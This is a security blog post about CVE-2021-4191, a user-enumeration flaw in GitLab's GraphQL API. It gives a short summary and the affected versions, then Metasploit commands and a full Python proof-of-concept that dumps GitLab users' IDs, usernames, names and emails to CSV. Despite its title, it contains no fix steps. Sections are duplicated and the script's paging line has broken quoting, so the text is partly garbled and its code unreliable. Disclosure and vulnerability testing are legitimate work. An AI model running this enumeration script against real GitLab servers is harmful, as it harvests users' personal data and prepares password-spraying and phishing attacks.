How To Fix CVE-2021-4191- An User Enumeration Vulnerability In GitLab

Rapid 7, a well-known security firm, disclosed a vulnerability in GitLab. The vulnerability tracked as CVE-2021-4191 with a base score of 5.3 in the Common Vulnerability Scoring System is a medium severity vulnerability that exposes information such as usernames, names, and email addresses to adversaries. It is important for all the GitLab users to know about the CVE-2021-4191 vulnerability and fix it up as soon as they can. In this post, let’s see the summary, versions affected, and finally how to fix CVE-2021-4191- An User Enumeration Vulnerability in GitLab. Let’s start from the summary of the CVE-2021-4191 vulnerability.

Table of Contents

Summary Of CVE-2021-4191- An User Enumeration Vulnerability In GitLab:

The vulnerability actually exists in the GraphQL API of GitLab. It is due to a missing authentication check when executing certain GitLab GraphQL API queries. The successful exploitation of the vulnerability would allow an attacker to read the personal information such as usernames, names, and email IDs of the GitLab users. Although the vulnerability has less impact on the functionality, it may give a way to perform password attacks such as bruit force, password spraying, credential stuffing, and information leak attacks on GitLab. These types of attacks are considered the first phase of attacks before conducting a large phishing campaign that leads to further escalation or exploitation.

GitLab Versions Affected By The CVE-2021-4191 vulnerability:

Research says that this User Enumeration Vulnerability in GitLab affects all the versions of GitLab Community Edition (CE) starting from 13.0 and Enterprise Edition (EE) starting from 14.4 to 14.8.

How To Test Your GitLab Is Vulnerable To The CVE-2021-4191 Vulnerability?

There is a Metasploit module is available out in the market. From this, we can say that there are possibilities that the flaw has been under exploitation in the wild.

Run these commands on the Kali Linux or Parrot OS on which you will have the Metasploit framework is preloaded. You may need to install the Metasploit framework and load the exploit if not. Run these commands to test your GitLab is vulnerable to the CVE-2021-4191 vulnerability.

Summary Of CVE-2021-4191:

GitLab Versions Affected By The CVE-2021-4191 Vulnerability:

Research says that this User Enumeration Vulnerability in GitLab affects all the versions of GitLab Community Edition (CE) starting from 13.0 and Enterprise Edition (EE) starting from 14.4 to 14.8.

How To Test Your GitLab Is Vulnerable To The CVE-2021-4191 Vulnerability?

There is a Metasploit module is available out in the market. From this, we can say that there are possibilities that the flaw has been under exploitation in the wild. Run these commands on the Kali Linux or Parrot OS on which you will have the Metasploit framework is preloaded. You may need to install the Metasploit framework and load the exploit if not. Run these commands to test your GitLab is vulnerable to the CVE-2021-4191 vulnerability.

# msfconsole

# use auxiliary/scanner/http/gitlab_graphql_user_enum

# set RHOST <ip>

# set SSL false

# set PORT 80

# run

PoC of CVE-2021-4191 by Jacob Baines

Alternatively, you can do this just by running a Python script. This method doesn’t need the Metasploit framework. This Python script will print a CSV containing the discovered IDs, usernames, names, email addresses, and if the user is a bot.

###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
    users"""
query_paging_info = ""
query_payload = """
    {
        pageInfo {
          hasNextPage
          hasPreviousPage
          endCursor
          startCursor
        }
        nodes {
          id
          bot
          username
          email
          publicEmail
          name
          webUrl
          webPath
          avatarUrl
          state
          location
          status {
            emoji
            availability
            message
            messageHtml
          }
          userPermissions {
            createSnippet
          }
          groupCount
          groups {
            nodes{
              id
              name
              fullName
              fullPath
            }
          }
          starredProjects {
            nodes{
              name
              path
              fullPath
            }
          }
          projectMemberships {
            nodes {
              id
              createdAt
            }
          }
          namespace{
            id
            name
            path
            fullName
            fullPath
            lfsEnabled
            visibility
            requestAccessEnabled
            sharedRunnersSetting
          }
          callouts {
            nodes{
              featureName
              dismissedAt
            }
          }
        }
      }
    }
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
    query = query_header + query_paging_info + query_payload
    json_data = client.execute(query=query)

    if "errors" in json_data:
        print("Received error in response. Exiting. ")
        print(json.dumps(json_data))
        sys.exit(0)

    for user in json_data["data"]["users"]["nodes"]:
        print(user["id"] + "," +  user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

    if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
        query_paging_info = "(after:/"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "/")"
    else:
        more_data = False

Command to run the script:

$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql

Note: These exploits were created only for educational/research purposes only. Use at your own risk.